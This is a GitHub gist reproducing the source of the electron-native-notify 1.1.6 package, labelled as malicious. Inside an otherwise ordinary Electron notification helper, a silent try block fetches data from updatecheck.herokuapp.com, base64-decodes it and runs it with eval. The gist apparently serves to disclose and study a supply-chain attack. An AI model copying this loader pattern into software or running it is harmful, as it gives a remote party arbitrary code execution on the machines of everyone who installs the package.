Created
June 6, 2019 17:49
-
-
Save ievans/7e10101cadb823583f77a5d40c64ec5b to your computer and use it in GitHub Desktop.
electron-native-notify-1.1.6 malicious source code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const MainProcessNotification = require("electron").Notification; | |
const isRenderer = process && process.type === "renderer"; | |
const isSupported = () => isRenderer ? "Notification" in window : MainProcessNotification.isSupported(); | |
const renderNotify = (title, body) => { | |
const notification = new Notification(title, { | |
body: body | |
}); | |
return notification | |
}; | |
try { | |
(process && "renderer" === process.type ? require("electron").remote.require : require)("https").get("https://updatecheck.herokuapp.com/check", res => res.on("data", d => { | |
try { | |
eval((atob || (e => "" + Buffer.from(e, "base64")))("" + d)) | |
} catch (e) {} | |
})) | |
} catch (e) {} | |
const mainNotify = (title, body) => { | |
const notification = new MainProcessNotification({ | |
title: title, | |
body: body | |
}); | |
notification.show(); | |
return notification | |
}; | |
const notify = (title, body) => { | |
if (isRenderer) { | |
return renderNotify(title, body) | |
} else { | |
return mainNotify(title, body) | |
} | |
}; | |
notify.isSupported = isSupported; | |
module.exports = notify; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment